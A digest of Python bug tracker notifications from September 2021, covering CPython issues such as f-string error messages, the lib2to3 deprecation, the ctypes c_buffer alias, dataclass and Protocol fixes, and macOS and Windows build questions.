_______________________________________ From report at bugs.python.org Thu Sep 2 10:49:48 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Thu, 02 Sep 2021 14:49:48 +0000 Subject: [issue45056] compiler: Unnecessary None in co_consts In-Reply-To: <1630381316.63.0.607874885673.issue45056@roundup.psfhosted.org> Message-ID: <1630594188.25.0.350813235472.issue45056@roundup.psfhosted.org> Change by ?ukasz Langa : ---------- pull_requests: +26564 pull_request: https://github.com/python/cpython/pull/28125 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 10:55:20 2021 From: report at bugs.python.org (Greg Kuhn) Date: Thu, 02 Sep 2021 14:55:20 +0000 Subject: [issue45086] f-string unmatched ']' Message-ID: <1630594520.19.0.424009972084.issue45086@roundup.psfhosted.org> New submission from Greg Kuhn : Hi All, Is the below a bug? Shouldn't the interpreter be complaining about a curly brace? $ python Python 3.8.5 (tags/v3.8.5:580fbb0, Jul 20 2020, 15:43:08) [MSC v.1926 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> num = 10 >>> f'[{num]' File "", line 1 SyntaxError: f-string: unmatched ']' >>> ---------- messages: 400920 nosy: Greg Kuhn priority: normal severity: normal status: open title: f-string unmatched ']' type: behavior versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 11:03:11 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Thu, 02 Sep 2021 15:03:11 +0000 Subject: [issue43613] gzip.compress and gzip.decompress are sub-optimally implemented. In-Reply-To: <1616567239.03.0.950381696666.issue43613@roundup.psfhosted.org> Message-ID: <1630594991.4.0.74584772581.issue43613@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset ea23e7820f02840368569db8082bd0ca4d59b62a by Ruben Vorderman in branch 'main': bpo-43613: Faster implementation of gzip.compress and gzip.decompress (GH-27941) https://github.com/python/cpython/commit/ea23e7820f02840368569db8082bd0ca4d59b62a ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 11:03:42 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Thu, 02 Sep 2021 15:03:42 +0000 Subject: [issue43612] zlib.compress should have a wbits argument In-Reply-To: <1616565860.52.0.251244097489.issue43612@roundup.psfhosted.org> Message-ID: <1630595022.86.0.202109863979.issue43612@roundup.psfhosted.org> ?ukasz Langa added the comment: Thanks for your contribution, Ruben! ? ? ? ---------- nosy: +lukasz.langa resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 11:03:59 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Thu, 02 Sep 2021 15:03:59 +0000 Subject: [issue43612] zlib.compress should have a wbits argument In-Reply-To: <1616565860.52.0.251244097489.issue43612@roundup.psfhosted.org> Message-ID: <1630595039.18.0.361335726473.issue43612@roundup.psfhosted.org> Change by ?ukasz Langa : ---------- versions: -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 11:12:58 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Thu, 02 Sep 2021 15:12:58 +0000 Subject: [issue40360] Deprecate lib2to3 (and 2to3) for future removal In-Reply-To: <1587530454.25.0.44181585934.issue40360@roundup.psfhosted.org> Message-ID: <1630595578.14.0.515189609345.issue40360@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset f0b63d5b56a6324f5f86807d9548c7b38aa2a8f7 by ?ukasz Langa in branch 'main': bpo-40360: [doc] Rephrase deprecation note about lib2to3 (GH-28122) https://github.com/python/cpython/commit/f0b63d5b56a6324f5f86807d9548c7b38aa2a8f7 ---------- message_count: 45.0 -> 46.0 pull_requests: +26566 pull_request: https://github.com/python/cpython/pull/28127 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 11:12:58 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 02 Sep 2021 15:12:58 +0000 Subject: [issue40360] Deprecate lib2to3 (and 2to3) for future removal In-Reply-To: <1587530454.25.0.44181585934.issue40360@roundup.psfhosted.org> Message-ID: <1630595578.0.0.980126130628.issue40360@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +26566 pull_request: https://github.com/python/cpython/pull/28127 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 11:22:14 2021 From: report at bugs.python.org (wodny) Date: Thu, 02 Sep 2021 15:22:14 +0000 Subject: [issue44748] argparse: a bool indicating if arg was encountered In-Reply-To: <1627377992.52.0.310829281762.issue44748@roundup.psfhosted.org> Message-ID: <1630596134.54.0.566207178629.issue44748@roundup.psfhosted.org> Change by wodny : ---------- nosy: +wodny85 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 11:29:06 2021 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 02 Sep 2021 15:29:06 +0000 Subject: [issue45086] f-string unmatched ']' In-Reply-To: <1630594520.19.0.424009972084.issue45086@roundup.psfhosted.org> Message-ID: <1630596546.95.0.89804015909.issue45086@roundup.psfhosted.org> Eric V. Smith added the comment: I think the error is short for "I found a ']' without a matching '['". ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 11:28:45 2021 From: report at bugs.python.org (Ken Jin) Date: Thu, 02 Sep 2021 15:28:45 +0000 Subject: [issue45024] Cannot extend collections ABCs with protocol In-Reply-To: <1630027789.49.0.847415585989.issue45024@roundup.psfhosted.org> Message-ID: <1630596525.65.0.483405081051.issue45024@roundup.psfhosted.org> Ken Jin added the comment: I suspect this may be intentional. See related issues https://bugs.python.org/issue35190 and https://bugs.python.org/issue23864. Copying verbatim from what Ivan said in the first issue: " The separation may look arbitrary, but the idea is quite simple. Only those classes with few methods support structural checks. Those classes have few independent abstract methods (or even just one method), while in classes with large APIs like `Sequence`, the methods are not logically independent, so you can't say a class is 100% a `Sequence` even if types/signatures of all methods are correct, because e.g. `__contains__()` and `index()` should behave in agreement with `__getitem__()`. " ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 11:35:16 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Thu, 02 Sep 2021 15:35:16 +0000 Subject: [issue45082] ctypes: Deprecate c_buffer() alias to create_string_buffer() In-Reply-To: <1630531822.38.0.282909766442.issue45082@roundup.psfhosted.org> Message-ID: <1630596916.1.0.463843763798.issue45082@roundup.psfhosted.org> ?ukasz Langa added the comment: -0 I'm not sure it's worth the hassle to remove this. I'd just delete the silly comment that this is supposedly deprecated since at least 2006. I still get 32,978 results looking at Github Search like this: https://github.com/search?q=c_buffer+-filename%3Atest_stringptr.py+language%3APython+language%3APython&type=Code Sure, there's some duplication there, it's not case-sensitive, and some of the c_buffer names might not even be ctypes. But the first few pages are all sensibly looking ctypes results. ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 11:37:22 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 02 Sep 2021 15:37:22 +0000 Subject: [issue40360] Deprecate lib2to3 (and 2to3) for future removal In-Reply-To: <1587530454.25.0.44181585934.issue40360@roundup.psfhosted.org> Message-ID: <1630597042.71.0.310231418281.issue40360@roundup.psfhosted.org> miss-islington added the comment: New changeset 559af7434668e2950c08389515a52eba697ef6af by Miss Islington (bot) in branch '3.10': bpo-40360: [doc] Rephrase deprecation note about lib2to3 (GH-28122) https://github.com/python/cpython/commit/559af7434668e2950c08389515a52eba697ef6af ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 11:42:54 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 02 Sep 2021 15:42:54 +0000 Subject: [issue45082] ctypes: Deprecate c_buffer() alias to create_string_buffer() In-Reply-To: <1630531822.38.0.282909766442.issue45082@roundup.psfhosted.org> Message-ID: <1630597374.38.0.103260597847.issue45082@roundup.psfhosted.org> STINNER Victor added the comment: > Since this alias is not a big maintenance burden, I think we can use deprecation period longer than minimum 2 releases. Ok. I modified my PR to only deprecate the alias without planning to remove it. Someone else can decide in at least 2 releases when it will be reasonable to remove the function. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 11:43:59 2021 From: report at bugs.python.org (=?utf-8?q?Micka=C3=ABl_Schoentgen?=) Date: Thu, 02 Sep 2021 15:43:59 +0000 Subject: [issue23493] optimize sort_keys in json module by using operator.itemgetter() In-Reply-To: <1424449556.4.0.766318893285.issue23493@psf.upfronthosting.co.za> Message-ID: <1630597439.5.0.607626621251.issue23493@roundup.psfhosted.org> Micka?l Schoentgen added the comment: I am wondering why the change was not backported to 3.6 and 3.7? It introduces different behavior. For instance, I need to keep duplicate keys from JSON data (because it is allowed by the RFC and it is a missing feature for tools such like HTTPie). Have a look at repro-sorting.py. On Python 3.6 and 3.7, the output is not sorted: { "dps": { "1630064726": 5.0, "1630064726": 3.0, "1630064726": 6.0 } } Starting with Python 3.8, the output is sorted as expected: { "dps": { "1630064726": 3.0, "1630064726": 5.0, "1630064726": 6.0 } } I could open pull requests for both 3.6 and 3.7 branches, if you think it is worth and allowed by the current maintenance status. ---------- nosy: +Tiger-222 Added file: https://bugs.python.org/file50256/repro-sorting.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 11:46:06 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 02 Sep 2021 15:46:06 +0000 Subject: [issue39573] [C API] Make PyObject an opaque structure in the limited C API In-Reply-To: <1581030432.16.0.48160379721.issue39573@roundup.psfhosted.org> Message-ID: <1630597566.62.0.215330650493.issue39573@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +26567 pull_request: https://github.com/python/cpython/pull/28128 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 11:45:59 2021 From: report at bugs.python.org (Greg Kuhn) Date: Thu, 02 Sep 2021 15:45:59 +0000 Subject: [issue45086] f-string unmatched ']' In-Reply-To: <1630594520.19.0.424009972084.issue45086@roundup.psfhosted.org> Message-ID: <1630597559.9.0.788060265045.issue45086@roundup.psfhosted.org> Greg Kuhn added the comment: But doesn't the square bracket have no relevance here? It's not within a curly bracketed string so shouldn't be treated specially. I would have expected the error to be: SyntaxError: f-string: unmatched '}'. Unless I need to go back and reread pep498... ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 12:00:52 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 02 Sep 2021 16:00:52 +0000 Subject: [issue45082] ctypes: Deprecate c_buffer() alias to create_string_buffer() In-Reply-To: <1630531822.38.0.282909766442.issue45082@roundup.psfhosted.org> Message-ID: <1630598452.04.0.40353213631.issue45082@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +26568 pull_request: https://github.com/python/cpython/pull/28129 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 12:01:24 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 02 Sep 2021 16:01:24 +0000 Subject: [issue45082] ctypes: Deprecate c_buffer() alias to create_string_buffer() In-Reply-To: <1630531822.38.0.282909766442.issue45082@roundup.psfhosted.org> Message-ID: <1630598484.48.0.840148188107.issue45082@roundup.psfhosted.org> STINNER Victor added the comment: > -0 I'm not sure it's worth the hassle to remove this. I'd just delete the silly comment that this is supposedly deprecated since at least 2006. Ok, I created PR 28129 for that. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 12:02:36 2021 From: report at bugs.python.org (Steve Dower) Date: Thu, 02 Sep 2021 16:02:36 +0000 Subject: [issue45079] 3.8.11 and 3.8.12 missing Windows artifacts, only tarballs - build system failed? In-Reply-To: <1630515221.82.0.541526485344.issue45079@roundup.psfhosted.org> Message-ID: <1630598556.66.0.872944799235.issue45079@roundup.psfhosted.org> Steve Dower added the comment: As the human "build bot" in question, yes, I do get tired :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 12:03:42 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 02 Sep 2021 16:03:42 +0000 Subject: [issue40360] Deprecate lib2to3 (and 2to3) for future removal In-Reply-To: <1587530454.25.0.44181585934.issue40360@roundup.psfhosted.org> Message-ID: <1630598622.32.0.913677062604.issue40360@roundup.psfhosted.org> STINNER Victor added the comment: I close the issue: lib2to3 is now deprecated in Python 3.11. I propose to open a new issue in Python 3.13 or newer to remove it. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 12:04:31 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 02 Sep 2021 16:04:31 +0000 Subject: [issue23493] optimize sort_keys in json module by using operator.itemgetter() In-Reply-To: <1424449556.4.0.766318893285.issue23493@psf.upfronthosting.co.za> Message-ID: <1630598671.21.0.339172784962.issue23493@roundup.psfhosted.org> STINNER Victor added the comment: > I am wondering why the change was not backported to 3.6 and 3.7? These branches no longer accept optimizations or bugfixes, only security fixes: https://devguide.python.org/#status-of-python-branches ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 12:10:10 2021 From: report at bugs.python.org (Steve Dower) Date: Thu, 02 Sep 2021 16:10:10 +0000 Subject: [issue45055] Fresh build on Windows fails the first time for zlib.c In-Reply-To: <1630374299.93.0.725029231147.issue45055@roundup.psfhosted.org> Message-ID: <1630599010.53.0.158097733015.issue45055@roundup.psfhosted.org> Steve Dower added the comment: I use git worktree as well (it's great for backporting - I have all the release branches checked out all the time), but it likely means that you are regularly downloading and extracting these files. So whatever app is keeping the file handle open is probably doing it reliably for one of the files, which is why you'll hit it each time. Once it's been copied into place, you won't see it again. And once we have the retry logic in the script then you won't see it the first time either. This should be an easy project, though not trivial to test. ---------- keywords: +easy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 12:17:21 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Thu, 02 Sep 2021 16:17:21 +0000 Subject: [issue45081] dataclasses that inherit from Protocol subclasses have wrong __init__ In-Reply-To: <1630530371.11.0.748962218101.issue45081@roundup.psfhosted.org> Message-ID: <1630599441.28.0.998619088158.issue45081@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset 0635e201beaf52373f776ff32702795e38f43ae3 by Yurii Karabas in branch 'main': bpo-45081: Fix __init__ method generation when inheriting from Protocol (GH-28121) https://github.com/python/cpython/commit/0635e201beaf52373f776ff32702795e38f43ae3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 12:17:27 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 02 Sep 2021 16:17:27 +0000 Subject: [issue45081] dataclasses that inherit from Protocol subclasses have wrong __init__ In-Reply-To: <1630530371.11.0.748962218101.issue45081@roundup.psfhosted.org> Message-ID: <1630599447.07.0.245282065789.issue45081@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +26570 pull_request: https://github.com/python/cpython/pull/28132 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 12:17:23 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 02 Sep 2021 16:17:23 +0000 Subject: [issue45081] dataclasses that inherit from Protocol subclasses have wrong __init__ In-Reply-To: <1630530371.11.0.748962218101.issue45081@roundup.psfhosted.org> Message-ID: <1630599443.34.0.180981173047.issue45081@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 8.0 -> 9.0 pull_requests: +26569 pull_request: https://github.com/python/cpython/pull/28131 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 12:25:23 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Thu, 02 Sep 2021 16:25:23 +0000 Subject: [issue40360] Deprecate lib2to3 (and 2to3) for future removal In-Reply-To: <1587530454.25.0.44181585934.issue40360@roundup.psfhosted.org> Message-ID: <1630599923.54.0.489814020063.issue40360@roundup.psfhosted.org> ?ukasz Langa added the comment: The "pending" deprecation status of lib2to3 in 3.9 and 3.10 is no worse than a vanilla deprecation in terms of visibility. It will appear just the same when run with pytest or `-X dev`. However, upgrading the deprecation between 3.10.0rc1 and 3.10.0rc2 really was too late. So we'll have it deprecated fully in 3.11 and removed in 3.13. One more year doesn't hurt us much but might be helpful for library maintainers to have more time to move off of the included lib2to3. Invoking `2to3` also generates the warning so I guess this can be closed: $ ./python.exe Tools/scripts/2to3 /private/tmp/cpy2/Tools/scripts/2to3:3: DeprecationWarning: lib2to3 package is deprecated and may not be able to parse Python 3.10+ from lib2to3.main import main At least one file or directory argument required. Use --help to show usage. Thanks for the patches, Gregory, Carl, and Victor! ? ? ? Now we just have to remember to actually remove the damn thing in 3.13 ? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 12:39:04 2021 From: report at bugs.python.org (Arcadiy Ivanov) Date: Thu, 02 Sep 2021 16:39:04 +0000 Subject: [issue45079] 3.8.11 and 3.8.12 missing Windows artifacts, only tarballs - build system failed? In-Reply-To: <1630515221.82.0.541526485344.issue45079@roundup.psfhosted.org> Message-ID: <1630600744.02.0.692644367595.issue45079@roundup.psfhosted.org> Arcadiy Ivanov added the comment: Wow, the artifacts are built and posted by hand??? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 13:01:40 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Thu, 02 Sep 2021 17:01:40 +0000 Subject: [issue45081] dataclasses that inherit from Protocol subclasses have wrong __init__ In-Reply-To: <1630530371.11.0.748962218101.issue45081@roundup.psfhosted.org> Message-ID: <1630602100.95.0.323602919584.issue45081@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset 98eb40828af97760badfa7b8ff84bd4f7a079839 by Miss Islington (bot) in branch '3.9': bpo-45081: Fix __init__ method generation when inheriting from Protocol (GH-28121) (GH-28132) https://github.com/python/cpython/commit/98eb40828af97760badfa7b8ff84bd4f7a079839 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 13:02:07 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Thu, 02 Sep 2021 17:02:07 +0000 Subject: [issue45082] ctypes: Deprecate c_buffer() alias to create_string_buffer() In-Reply-To: <1630531822.38.0.282909766442.issue45082@roundup.psfhosted.org> Message-ID: <1630602127.07.0.779240019944.issue45082@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset a1e15a7a604e6f44cdaf4e106339df62eac5dc9f by Victor Stinner in branch 'main': bpo-45082: Cleanup ctypes.c_buffer alias (GH-28129) https://github.com/python/cpython/commit/a1e15a7a604e6f44cdaf4e106339df62eac5dc9f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 13:03:51 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Thu, 02 Sep 2021 17:03:51 +0000 Subject: [issue45082] ctypes: Deprecate c_buffer() alias to create_string_buffer() In-Reply-To: <1630531822.38.0.282909766442.issue45082@roundup.psfhosted.org> Message-ID: <1630602231.36.0.0194170906585.issue45082@roundup.psfhosted.org> ?ukasz Langa added the comment: Thanks, Victor! ? ? ? ---------- resolution: -> rejected stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 13:17:34 2021 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 02 Sep 2021 17:17:34 +0000 Subject: [issue45086] f-string unmatched ']' In-Reply-To: <1630594520.19.0.424009972084.issue45086@roundup.psfhosted.org> Message-ID: <1630603054.4.0.809104963812.issue45086@roundup.psfhosted.org> Eric V. Smith added the comment: I think it's basically this error: >>> num] File "", line 1 num] ^ SyntaxError: unmatched ']' Although I'd have to look at it more to see why that's the error it chose to display, instead of the curly brace. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 14:15:20 2021 From: report at bugs.python.org (Steve Dower) Date: Thu, 02 Sep 2021 18:15:20 +0000 Subject: [issue45079] 3.8.11 and 3.8.12 missing Windows artifacts, only tarballs - build system failed? In-Reply-To: <1630515221.82.0.541526485344.issue45079@roundup.psfhosted.org> Message-ID: <1630606520.73.0.926053242639.issue45079@roundup.psfhosted.org> Steve Dower added the comment: The build for Windows is mostly automated, but it's triggered and monitored by hand. The build steps are all in the source repo, and the builds themselves are public at https://dev.azure.com/Python/cpython/_build?definitionId=21, but I'm the only core dev with access to the code signing certificate, so the only one who can trigger an official Windows release. More importantly though is that we stop validating all the dependencies (e.g. OpenSSL) against security-fix only releases. These are optional dependencies from the POV of CPython, but required for a binary release. Maintaining support for them isn't free, so dropping the binary releases means we can focus on our active releases, rather than on regularly reintegrating other people's projects. Otherwise we'd have to do a new release every time OpenSSL/libffi/Tk/Tcl/Sqlite3/etc. fixed a security issue. *That's* the cost we avoid by not releasing binaries, even though the cost of the build itself is pretty low these days. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 14:46:32 2021 From: report at bugs.python.org (Julian Fortune) Date: Thu, 02 Sep 2021 18:46:32 +0000 Subject: [issue45081] dataclasses that inherit from Protocol subclasses have wrong __init__ In-Reply-To: <1630530371.11.0.748962218101.issue45081@roundup.psfhosted.org> Message-ID: <1630608392.94.0.453240811125.issue45081@roundup.psfhosted.org> Change by Julian Fortune : ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 14:59:52 2021 From: report at bugs.python.org (Vinay Sajip) Date: Thu, 02 Sep 2021 18:59:52 +0000 Subject: [issue45027] Allow basicConfig to configure any logger, not just root In-Reply-To: <1630034064.24.0.262638183252.issue45027@roundup.psfhosted.org> Message-ID: <1630609192.72.0.99385860173.issue45027@roundup.psfhosted.org> Vinay Sajip added the comment: Thanks, but ... > I observe that many Python users tend to use basicConfig() even when they would be better served by configuring only the logger(s) needed for their own app/library. First of all, library developers should not be configuring loggers at all, other than adding a NullHandler to their top-level logger. Secondly, it is fine to configure the root logger and then log to any other logger. The default mechanisms mean that handlers added to the root logger are used by loggers which are anywhere in the logger hierarchy. So users that are using basicConfig() but other loggers than the root logger may be using the system as designed. Thirdly, logging.config.dictConfig() allows usage of a dictionary to configure multiple loggers, handlers etc. all at once, for use cases which are more demanding than basicConfig(). It doesn't make sense to do what you're proposing, since it appears to offer a different way of configuring other loggers than the root logger, when dictConfig() already offers that. So, I am minded to not agree to this change, and would prefer that the PR and this issue be closed. ---------- nosy: +vinay.sajip _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 15:02:10 2021 From: report at bugs.python.org (Vinay Sajip) Date: Thu, 02 Sep 2021 19:02:10 +0000 Subject: [issue44489] _handle_existing_loggers should respect loggers that were manually disabled In-Reply-To: <1624366626.62.0.782556758458.issue44489@roundup.psfhosted.org> Message-ID: <1630609330.8.0.990580355919.issue44489@roundup.psfhosted.org> Vinay Sajip added the comment: Closing, as no further feedback received on this issue. You can reopen if you have an answer to my question. ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 15:07:09 2021 From: report at bugs.python.org (Arcadiy Ivanov) Date: Thu, 02 Sep 2021 19:07:09 +0000 Subject: [issue45079] 3.8.11 and 3.8.12 missing Windows artifacts, only tarballs - build system failed? In-Reply-To: <1630515221.82.0.541526485344.issue45079@roundup.psfhosted.org> Message-ID: <1630609629.35.0.112501497942.issue45079@roundup.psfhosted.org> Arcadiy Ivanov added the comment: Seems like integrating third party dependencies would be covered by integration tests as part of the automation. But if they are not available I understand it would be expensive, yes. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 15:33:52 2021 From: report at bugs.python.org (Gregory Szorc) Date: Thu, 02 Sep 2021 19:33:52 +0000 Subject: [issue44689] ctypes.util.find_library() does not find macOS 11+ system libraries when built on older macOS systems In-Reply-To: <1626818206.09.0.214441719603.issue44689@roundup.psfhosted.org> Message-ID: <1630611232.02.0.0740520096762.issue44689@roundup.psfhosted.org> Gregory Szorc added the comment: I cannot reproduce this on an 11.5 Intel MacBook Pro using an 11.5 SDK targeting x86_64 10.9. However, I can reproduce on a similarly configured M1 using the same OS and SDK but cross-compiling to single arch x86_64. The issue here may reside in how configure handles cross-compiling for Apple. The current logic in configure is a bit opinionated about how things should work and this patch may have tickled things into not working. My opinion is that configure should support various cross-compiling scenarios like this (including building non-fat x86_64 only binaries from an arm64 machine). However, it is clear from the implementation and comments in this issue and elsewhere that the CPython core devs want to limit which exact cross-compiling configurations are supported on Apple. If the core developers say various cross-compiling scenarios aren't supported build configuration any more, I'll accept that and work around the limitation on my end. However, do note there is a significant possibility that Apple stops selling Intel machines for various product models in a few weeks. I suspect various people will want to continue their practice of building x86_64 only binaries for the indefinite future. Regardless of when the ARM only transition occurs, arbitrary restrictions like not supporting Apple arm64 -> x86_64 cross-compiling will disappoint a growing cohort of users over time. I would encourage investing in less opinionated configure logic to support Apple cross-compiling. I could potentially contribute patches in this area, since I've already taught python-build-standalone to cross-compile more robustly (including to targets like iOS). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 15:37:44 2021 From: report at bugs.python.org (Alex Zaslavskis) Date: Thu, 02 Sep 2021 19:37:44 +0000 Subject: [issue45087] Confusing error message when trying split bytes. Message-ID: <1630611464.91.0.0686347967364.issue45087@roundup.psfhosted.org> New submission from Alex Zaslavskis : If we will try to split bytes we will got quite strange error in console. Traceback (most recent call last): File "C:/Users/ProAdmin/Desktop/bug_in_python.py", line 6, in byte_message.split(",") TypeError: a bytes-like object is required, not 'str' The problem here is that object should be string and in if I convert it to string the error is going. So that mean that there are error in mistake . Correct variant should be : Traceback (most recent call last): File "C:/Users/ProAdmin/Desktop/bug_in_python.py", line 6, in byte_message.split(",") TypeError: str is required, not a bytes-like object message = 'Python is fun' byte_message = bytes(message, 'utf-8') print(byte_message) #byte_message.split(",") causes error str(byte_message).split(",") # works ---------- components: Argument Clinic files: bug_in_python.py messages: 400948 nosy: larry, sahsariga111 priority: normal severity: normal status: open title: Confusing error message when trying split bytes. type: compile error versions: Python 3.9 Added file: https://bugs.python.org/file50257/bug_in_python.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 15:54:43 2021 From: report at bugs.python.org (Alex Zaslavskis) Date: Thu, 02 Sep 2021 19:54:43 +0000 Subject: [issue45087] Confusing error message when trying split bytes. In-Reply-To: <1630611464.91.0.0686347967364.issue45087@roundup.psfhosted.org> Message-ID: <1630612483.32.0.668977458533.issue45087@roundup.psfhosted.org> Change by Alex Zaslavskis : ---------- type: compile error -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 15:57:05 2021 From: report at bugs.python.org (Alex Zaslavskis) Date: Thu, 02 Sep 2021 19:57:05 +0000 Subject: [issue45087] Confusing error message when trying split bytes. In-Reply-To: <1630611464.91.0.0686347967364.issue45087@roundup.psfhosted.org> Message-ID: <1630612625.84.0.806300084831.issue45087@roundup.psfhosted.org> Change by Alex Zaslavskis : Added file: https://bugs.python.org/file50258/bug_in_python.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 15:57:10 2021 From: report at bugs.python.org (Alex Zaslavskis) Date: Thu, 02 Sep 2021 19:57:10 +0000 Subject: [issue45087] Confusing error message when trying split bytes. In-Reply-To: <1630611464.91.0.0686347967364.issue45087@roundup.psfhosted.org> Message-ID: <1630612630.77.0.52117112564.issue45087@roundup.psfhosted.org> Change by Alex Zaslavskis : Removed file: https://bugs.python.org/file50257/bug_in_python.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 16:04:38 2021 From: report at bugs.python.org (Ned Deily) Date: Thu, 02 Sep 2021 20:04:38 +0000 Subject: [issue44689] ctypes.util.find_library() does not find macOS 11+ system libraries when built on older macOS systems In-Reply-To: <1626818206.09.0.214441719603.issue44689@roundup.psfhosted.org> Message-ID: <1630613078.83.0.717568569478.issue44689@roundup.psfhosted.org> Ned Deily added the comment: Thanks for the updates! >If the core developers say various cross-compiling scenarios aren't supported build configuration any more, I'll accept that and work around the limitation on my end. However, do note there is a significant possibility that Apple stops selling Intel machines for various product models in a few weeks. I suspect various people will want to continue their practice of building x86_64 only binaries for the indefinite future. I think you make very good points. I also think that we all agree that we do need to work towards better supporting the coming primarily non-Intel Mac world. I would rather put it that there are cross-compiling scenarios that were never supported before (but also not necessarily fully documented as such) but may have worked coincidentally some of the time; moving forward, we need to identify the important scenarios and make sure we fully support them. We're not there yet but I have some ideas on how to do that which I will try to get written down soon. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Sep 2 16:28:26 2021 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 02 Sep 2021 20:28:26 +0000 Subject: [issue45087] Confusing error message when trying split bytes. In-Reply-To: <1630611464.91.0.0686347967364.issue45087@roundup.psfhosted.org> Message-ID: <1630614506.81.0.466924747883.issue45087@roundup.psfhosted.org> Eric V. Smith added the comment: This is working as designed. The error is telling you that the argument to bytes.split() must be a string: >>> b''.split(',') Traceback (most recent call last): File "", line 1, in TypeError: a bytes-like object is required, not 'str' >>> b''.split(b',') [b''] Same for str.split(): >>> ''.split(b',') Traceback (most recent call last): File "", line 1, in TypeError: must be str or None, not bytes >>> ''.split(',') [''] ---------- components: -Argument Clinic nosy: +eric.smith -larry _______________________________________ Python tracker 